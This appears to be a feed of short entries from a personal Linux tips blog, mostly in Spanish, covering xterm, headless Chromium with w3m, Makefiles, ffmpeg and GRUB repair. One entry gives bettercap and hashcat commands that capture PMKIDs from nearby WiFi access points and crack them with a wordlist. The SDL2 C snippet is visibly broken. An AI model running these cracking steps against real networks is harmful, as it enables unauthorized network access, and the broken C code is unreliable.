<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget <span style="color:#e6db74">"https://downloads.cursor.com/production/client/linux/x64/appimage/Cursor-0.46.11-ae378be9dc2f5f1a6a1a220c6e25f9f03c8d4e19.deb.glibc2.25-x86_64.AppImage"</span>
</span></span><span style="display:flex;"><span>chmod +x Cursor-0.46.11-ae378be9dc2f5f1a6a1a220c6e25f9f03c8d4e19.deb.glibc2.25-x86_64.AppImage
</span></span><span style="display:flex;"><span>env XDG_DATA_DIRS<span style="color:#f92672">=</span>/usr/share:/usr/local/share ./Cursor-0.46.11-ae378be9dc2f5f1a6a1a220c6e25f9f03c8d4e19.deb.glibc2.25-x86_64.AppImage
</span></span></code></pre></div>
-
Cambiar letra fondo en Xterm
https://imlauera.github.io/cambiar_letra_fondo_xterm/
Sun, 09 Mar 2025 12:29:42 -0300
https://imlauera.github.io/cambiar_letra_fondo_xterm/
<p>Abrí <code>~/.Xdefaults</code> y agregá:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>xterm*background:black
</span></span><span style="display:flex;"><span>xterm*foreground:white
</span></span><span style="display:flex;"><span>xterm*faceName:Monospace
</span></span><span style="display:flex;"><span>xterm*faceSize:15
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xterm*font:-*-fixed-*-*-*-*-20-*-*-*-*-*-*-*
</span></span></code></pre></div><p>Luego lo cargás con</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>xrdb ~/.Xdefaults
</span></span></code></pre></div>
-
Usar chrome sin chrome: Chrome headless con w3m
https://imlauera.github.io/usar_chrome_sin_chrome/
Sat, 08 Mar 2025 08:02:01 -0300
https://imlauera.github.io/usar_chrome_sin_chrome/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless https://youtube.com --run-all-compositor-stages-before-draw --screenshot --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span>
</span></span></code></pre></div><p>O también se puede usar el parámetro <code>--print-to-pdf=/tmp/tmp.pdf</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless --dump-dom youtube.com
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless https://bilibili.com --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> | w3m -
</span></span></code></pre></div><p>Usarlo con w3m como navegador externo: Creá un archivo llamado <code>w3m_chromium.sh</code> con el siguiente contenido y agregalo como navegador externo en w3m.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless $1 --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> | w3m -
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless $1 --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> | monolith - -I -b $1 | w3m -
</span></span></code></pre></div><h3 id="sin-monolith-con-sed-es-mas-rápido">Sin monolith con sed es mas rápido</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless $1 --disable-gpu --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> | sed <span style="color:#e6db74">"s|<head>|<head><base href=</span>$1<span style="color:#e6db74">>|g"</span> | w3m -T text/html
</span></span></code></pre></div><h1 id="este-es-el-que-estoy-usando-con-este-te-carga-las-cookies">Este es el que estoy usando: con este te carga las cookies</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>chromium --headless --user-data-dir<span style="color:#f92672">=</span>$HOME/.config/chromium --profile-directory<span style="color:#f92672">=</span>Default --disable-gpu --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">"s|<head>|<head><base href=</span>$1<span style="color:#e6db74">>|g"</span> | w3m -T text/html
</span></span></code></pre></div><h4 id="o-copiando">o copiando</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp -r ~/.config/chromium ~/.config/chromium-headless
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chromium --headless --user-data-dir<span style="color:#f92672">=</span>$HOME/.config/chromium-headless --profile-directory<span style="color:#f92672">=</span>Default --disable-gpu --run-all-compositor-stages-before-draw --dump-dom --virtual-time-budget<span style="color:#f92672">=</span><span style="color:#ae81ff">10000</span> <span style="color:#e6db74">"</span>$1<span style="color:#e6db74">"</span> | sed <span style="color:#e6db74">"s|<head>|<head><base href=</span>$1<span style="color:#e6db74">>|g"</span> | w3m -T text/html
</span></span></code></pre></div><h5 id="se-pude-usar-puppeteer-para-scrollear-y-cargar-todo-el-javascript">Se pude usar puppeteer para scrollear y cargar todo el javascript.</h5>
<p>Uso: <code>node chromium_headless.js URL numeroVecesScrolear</code></p>
-
Falkon acceleración Hardware
https://imlauera.github.io/falkon_acceleracion_hardware/
Thu, 06 Mar 2025 10:41:23 -0300
https://imlauera.github.io/falkon_acceleracion_hardware/
<p><a href="https://trac.gateworks.com/wiki/qt">https://trac.gateworks.com/wiki/qt</a></p>
<h5 id="user-agent-android">User Agent Android:</h5>
<p>Uso este pero agrego excepciones para chatgpt, gemini.google.com, grok.com, entre otras.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Mozilla/5.0 <span style="color:#f92672">(</span>Linux; Android 14; Pixel <span style="color:#ae81ff">8</span> Pro<span style="color:#f92672">)</span> AppleWebKit/537.36 <span style="color:#f92672">(</span>KHTML, like Gecko<span style="color:#f92672">)</span> Chrome/128.0.0.0 Mobile Safari/537.36
</span></span></code></pre></div><p>Pero agrego excepciones con este <code>User-Agent</code> a páginas como ChatGPT:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Mozilla/5.0 <span style="color:#f92672">(</span>X11; Linux x86_64<span style="color:#f92672">)</span> AppleWebKit/537.36 <span style="color:#f92672">(</span>KHTML, like Gecko<span style="color:#f92672">)</span> QtWebEngine/6.9.2 Chrome/130.0.0.0 Safari/537.36
</span></span></code></pre></div><p>Para cambiar el user-agent de falkon en Preferencias en la última opción ofrece para cambiar el user agent yo uso el User-Agent de Android asi Twitch carga mas rapido:</p>
-
Millones de aplicaciones vulneradas: como ejecutar código remoto sobre millones de personas y cientas aplicaciones.
https://imlauera.github.io/millones_aplicaciones_hackeadas/
Sat, 01 Mar 2025 22:31:57 -0300
https://imlauera.github.io/millones_aplicaciones_hackeadas/
<p>Fuente:
w3m <a href="https://kibty.town/blog/todesktop/">https://kibty.town/blog/todesktop/</a></p>
<p><strong>Traducción</strong>:</p>
<p>Esto empezó cuando estaba mirando cursor, un editor con inteligencia artificial. Yo uso lulu por visión de objetos en mi laptop, así que cuando descargué el instalador de cursor obtuve este pop-up:</p>
<p><img src="https://kibty.town/files/img/posts/todesktop/lulu-alert.png" alt="lulu"></p>
<p>Una alerta de LuLu, mostrando que “Install Cursor” estaba intentando conectarse a “<a href="https://download.todesktop.com">https://download.todesktop.com</a>”</p>
<p>Ahora, ¿qué es todesktop? Pensé que estaba descargando cursor. Mirando en su sitio aparenta ser un servicio bundler[1] además de proveer un SDK[2] para aplicaciones de electron. Así que aparentemente el instalador que descargué está en realidad controlado por <strong>todesktop</strong>, no cursor.</p>
-
Use android phone camera Linux
https://imlauera.github.io/use_android_phone_camera_linux/
Fri, 28 Feb 2025 21:32:14 -0300
https://imlauera.github.io/use_android_phone_camera_linux/
<p>You can use any Android phone as a webcam for your Ubuntu PC by using DroidCam.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mpv IP/video
</span></span></code></pre></div><p>Pero no podés transmitir la cámara a través de internet porque de esa forma es muy lento.</p>
<ol>
<li>First download the DroidCam app on your android device via the Play Store.</li>
<li>Next install adb on your Ubuntu PC:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install adb
</span></span></code></pre></div><ol start="3">
<li>
<p>Follow the instructions to install the DroidCam Linux client.</p>
</li>
<li>
<p>On your android phone, enable USB debugging (you need to enable developer mode to do this).</p>
-
Abrir grandes archivos: dividirlos en varios.
https://imlauera.github.io/abrir_grandes_archivos/
Fri, 28 Feb 2025 20:49:44 -0300
https://imlauera.github.io/abrir_grandes_archivos/
<p>Intenté abrir archivos de 2GBs con less, vim y ed pero todos tardan demasiado, así que la solución real es dividirlo en varios archivos.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -e <span style="color:#e6db74">'s/oldstuff/newstuff/g'</span> inputFileName > outputFileName
</span></span></code></pre></div><p>Another method is to use split. Split the file into 8 pieces and manipulate the
files with a editor. After that, you reassemble the files again.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>split -b 53750k <your-file>
</span></span><span style="display:flex;"><span>cat xa* > <your-file>
</span></span></code></pre></div>
-
Mi configuración de w3m
https://imlauera.github.io/mi_configuracion_w3m/
Thu, 27 Feb 2025 01:00:41 -0300
https://imlauera.github.io/mi_configuracion_w3m/
<p><strong>External browser</strong>:</p>
<p>Chawan parecido a w3m es un navegador que soporta un poco de javascript.</p>
<p><code>Escape+M</code> para iniciar el navegador externo o <code>Numero+Escape+M</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>Mailer <span style="color:#f92672">[</span>/usr/bin/neomutt <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>External browser <span style="color:#f92672">[</span>/usr/bin/mpv <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>2nd external browser <span style="color:#f92672">[</span>elinks <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>3rd external browser <span style="color:#f92672">[</span>vim <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>4th external browser <span style="color:#f92672">[</span>yt-dlp -f134+140 --c<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>5th external browser <span style="color:#f92672">[</span>gallery-dl --cookies<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>6th external browser <span style="color:#f92672">[</span>falkon <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>7th external browser <span style="color:#f92672">[</span>cha <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>8th external browser <span style="color:#f92672">[</span>yt-dlp -f140 --cooki<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>9th external browser <span style="color:#f92672">[</span>git clone <span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Con <code>.config/fish/fish.conf</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>export XKB_DEFAULT_LAYOUT<span style="color:#f92672">=</span>es
</span></span><span style="display:flex;"><span>export QT_QPA_PLATFORM<span style="color:#f92672">=</span>linuxfb:size<span style="color:#f92672">=</span>1000x1000
</span></span><span style="display:flex;"><span>alias dgg <span style="color:#e6db74">'w3m dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias tdgg <span style="color:#e6db74">'torsocks w3m dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias telegram <span style="color:#e6db74">'falkon web.telegram.org'</span>
</span></span><span style="display:flex;"><span>alias upwork <span style="color:#e6db74">'falkon upwork.com'</span>
</span></span><span style="display:flex;"><span>alias whatsapp <span style="color:#e6db74">'qutebrowser https://web.whatsapp.com'</span>
</span></span><span style="display:flex;"><span>alias yewtube <span style="color:#e6db74">'w3m https://yewtu.be/feed/subscriptions'</span>
</span></span><span style="display:flex;"><span>alias invidious <span style="color:#e6db74">'w3m https://inv.nadeko.net/feed/subscriptions'</span>
</span></span></code></pre></div><p>Cargar imágenes en una nueva ventana del navegador así posteriormente abrirlos con mpv con (shift+M)</p>
-
Makefile: Compilar todos los archivos de C de una.
https://imlauera.github.io/makefile/
Thu, 27 Feb 2025 00:46:28 -0300
https://imlauera.github.io/makefile/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-makefile" data-lang="makefile"><span style="display:flex;"><span>LIBS <span style="color:#f92672">=</span> -lkernel32 -luser32 -lgdi32 -lopengl32
</span></span><span style="display:flex;"><span>CFLAGS <span style="color:#f92672">=</span> -Wall
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Should be equivalent to your list of C files, if you don't build selectively
</span></span></span><span style="display:flex;"><span>SRC<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>wildcard *.c<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">test</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">$(</span>SRC<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span> gcc -o $@ $^ <span style="color:#66d9ef">$(</span>CFLAGS<span style="color:#66d9ef">)</span> <span style="color:#66d9ef">$(</span>LIBS<span style="color:#66d9ef">)</span>
</span></span></code></pre></div><hr>
<p><strong>Otra forma</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>SRCS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>wildcard *.c<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>OBJS<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>SRCS:.c<span style="color:#f92672">=</span>.o<span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>all: <span style="color:#66d9ef">$(</span>OBJS<span style="color:#66d9ef">)</span>
</span></span></code></pre></div><p><strong>Compilar main.c y ejecutarlo</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-makefile" data-lang="makefile"><span style="display:flex;"><span><span style="color:#a6e22e">main</span><span style="color:#f92672">:</span> main.c
</span></span><span style="display:flex;"><span> gcc -Wall -Wextra -o main main.c
</span></span><span style="display:flex;"><span> ./main
</span></span></code></pre></div>
-
Audio: m4a to opus
https://imlauera.github.io/m4a_to_opus/
Tue, 25 Feb 2025 06:06:32 -0300
https://imlauera.github.io/m4a_to_opus/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> i in *.m4a; <span style="color:#66d9ef">do</span> echo $i; ffmpeg -i <span style="color:#e6db74">"</span>$i<span style="color:#e6db74">"</span> -ar <span style="color:#ae81ff">16000</span> -b:a <span style="color:#ae81ff">32000</span> -ac <span style="color:#ae81ff">1</span> <span style="color:#e6db74">"</span><span style="color:#e6db74">${</span>i%.*<span style="color:#e6db74">}</span><span style="color:#e6db74">"</span>.opus; <span style="color:#66d9ef">done</span>
</span></span></code></pre></div><p><a href="https://medium.com/@nadirapovey/ffmpeg-compress-audio-files-97cfb3eecd">https://medium.com/@nadirapovey/ffmpeg-compress-audio-files-97cfb3eecd</a></p>
-
Excel/VIM en la consola: sc-im (Cheat sheet)
https://imlauera.github.io/excel_en_terminal/
Sat, 22 Feb 2025 19:01:07 -0300
https://imlauera.github.io/excel_en_terminal/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>aur/sc-im 0.8.5-1 <span style="color:#f92672">(</span>+61 0.32<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span> A ncurses vim-like terminal spreadsheet program, based on SC
</span></span></code></pre></div><p><a href="https://cheatography.com/isaacnewton/cheat-sheets/sc-im/">https://cheatography.com/isaacnewton/cheat-sheets/sc-im/</a></p>
<h5 id="sc-im---spreadsheet-calculator-improvised--an-ncurses-spreadsheet-program-for-terminal">SC-IM - Spreadsheet Calculator Improvised – An ncurses spreadsheet program for terminal</h5>
<p><strong>Basic Navigation</strong></p>
<p>hjkl Move cursor down, up, right or left.<br>
^ Go up to row 0 of the current column.<br>
# Go down to the last valid row of the current column.<br>
0 Go left to column A in the current row.<br>
$ Go right to the last valid column of the current row.<br>
b/w Go back/forward to the previous valid cell.<br>
gg/G Go to the first/last cell of sheet.<br>
gl Go to the last (previously occupied) cell position<br>
gab24 Go to cell AB24.<br>
‘{aZ} Go to the cell/range marked previously with the char.</p>
-
Crear ventana y pintarla en SDL2 en C
https://imlauera.github.io/sdl/
Thu, 20 Feb 2025 19:56:57 -0300
https://imlauera.github.io/sdl/
<p>Debés incluir <code>SDL2/SDL.h</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">scc</span>(<span style="color:#66d9ef">int</span> code){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (code <span style="color:#f92672"><</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"SDL ERROR: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#a6e22e">SDL_GetError</span>());
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">scp</span>(<span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>ptr){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (ptr <span style="color:#f92672">==</span> NULL){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"SDL ERROR: %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, <span style="color:#a6e22e">SDL_GetError</span>());
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SDL_Surface <span style="color:#f92672">*</span><span style="color:#a6e22e">surface_from_file</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>file_path){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> w, h, n;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>pixels <span style="color:#f92672">=</span> <span style="color:#a6e22e">stbi_load</span>(file_path, <span style="color:#f92672">&</span>w, <span style="color:#f92672">&</span>h, <span style="color:#f92672">&</span>n, STBI_rgb_alpha);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (pixels <span style="color:#f92672">==</span> NULL){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"ERROR: could not load file %s</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, file_path, <span style="color:#a6e22e">stbi_failure_reason</span>());
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SDL_Window <span style="color:#f92672">*</span>window <span style="color:#f92672">=</span> SDL_CreateWindow
</span></span><span style="display:flex;"><span>SDL_Renderer <span style="color:#f92672">*</span>renderer <span style="color:#f92672">=</span> <span style="color:#a6e22e">SDL_CreateRenderer</span>(window, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> , SDL_RENDERER_ACCELERATED));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SDL_Surface <span style="color:#f92672">*</span>surface <span style="color:#f92672">=</span> <span style="color:#a6e22e">scp</span>(<span style="color:#a6e22e">SDL_CreateRGBSurfaceWithFormat</span>(flags, width, height, depth, format);
</span></span><span style="display:flex;"><span>SDL_Surface <span style="color:#f92672">*</span>surface <span style="color:#f92672">=</span> <span style="color:#a6e22e">scp</span>(<span style="color:#a6e22e">SDL_CreateRGBSurfaceFrom</span>(FONT, FONT_WIDTH, FONT_HEIGHT, <span style="color:#ae81ff">32</span>, FONT_WIDTH, <span style="color:#ae81ff">0xFF</span>, <span style="color:#ae81ff">0xFF</span>, <span style="color:#ae81ff">0xFF</span>, <span style="color:#ae81ff">0xFF</span>));
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> quit <span style="color:#f92672">=</span> false;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span> (<span style="color:#f92672">!</span>quit){
</span></span><span style="display:flex;"><span> SDL_Event event <span style="color:#f92672">=</span> {<span style="color:#ae81ff">0</span>};
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (<span style="color:#a6e22e">SDL_PollEvent</span>(<span style="color:#f92672">&</span>event)) {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span>(event.type){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">case</span> SQL_QUIT: {
</span></span><span style="display:flex;"><span> quit <span style="color:#f92672">=</span> true;
</span></span><span style="display:flex;"><span> } <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">SDL_SetRenderDrawColor</span>(renderer, <span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">SDL_RendererClear</span>(renderer);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">SDL_RenderPresent</span>(renderer);
</span></span></code></pre></div>
-
Error: file Vmlinuz-linux not found
https://imlauera.github.io/vmlinuz_linux/
Wed, 19 Feb 2025 05:20:30 -0300
https://imlauera.github.io/vmlinuz_linux/
<p>Desde un usb live o desde otra distro instalada en tu HDD.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mount /dev/sda1 /mnt
</span></span><span style="display:flex;"><span>sudo mount /dev/sda7 /mnt/boot
</span></span><span style="display:flex;"><span>arch-chroot /mnt
</span></span><span style="display:flex;"><span>sudo pacman -Syu
</span></span><span style="display:flex;"><span>sudo pacman -S linux
</span></span><span style="display:flex;"><span>grub-install --target<span style="color:#f92672">=</span>x86_64-efi --bootloader-id<span style="color:#f92672">=</span>grub_uefi --efi-directory<span style="color:#f92672">=</span>/boot --recheck
</span></span><span style="display:flex;"><span>grub-mkconfig -o /boot/grub/grub.cfg
</span></span></code></pre></div>
-
Cortar todo hasta una línea
https://imlauera.github.io/cortar_todo_hasta_una_linea/
Tue, 18 Feb 2025 16:47:46 -0300
https://imlauera.github.io/cortar_todo_hasta_una_linea/
<p>You can use GNU sed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i <span style="color:#e6db74">'5,$d'</span> file.txt
</span></span></code></pre></div><p>That is, 5,$ means the range line 5 until the end, and d means to delete. Only the
first 4 lines will remain. The -i flag tells sed to edit the file in-place.</p>
<p>If you have only BSD sed, then the -i flag requires a backup file suffix:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sed -i.bak <span style="color:#e6db74">'5,$d'</span> file.txt
</span></span></code></pre></div><p>As @ephemient pointed out, while this solution is simple, it’s inefficient because
sed will still read the input until the end of the file, which is unnecessary.</p>
-
Bettercap
https://imlauera.github.io/bettercap/
Sun, 16 Feb 2025 23:14:38 -0300
https://imlauera.github.io/bettercap/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo su
</span></span><span style="display:flex;"><span>airmon-ng start wlan0
</span></span><span style="display:flex;"><span>bettercap
</span></span><span style="display:flex;"><span>set wifi.interface wlan0mon
</span></span><span style="display:flex;"><span>wifi.recon on
</span></span><span style="display:flex;"><span>wifi.show
</span></span></code></pre></div><p>We now need to associate with an access point using the BSSID. </p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>wifi.assoc 68:14:01:5a:0e:9c
</span></span></code></pre></div><p>Similarly, if you want to capture PMKID of all the Access Points, </p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>wifi.assoc all
</span></span></code></pre></div><p>We now need to convert this pcap file in Hashcat format and crack it as we did
before, so: </p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>hcxpcaptool -z hashpmkid bettercap-wifi-handshake.pcap
</span></span><span style="display:flex;"><span>hashcat -m 16800 --force hashpmkid /usr/share/wordlists/rockyou.txt --show
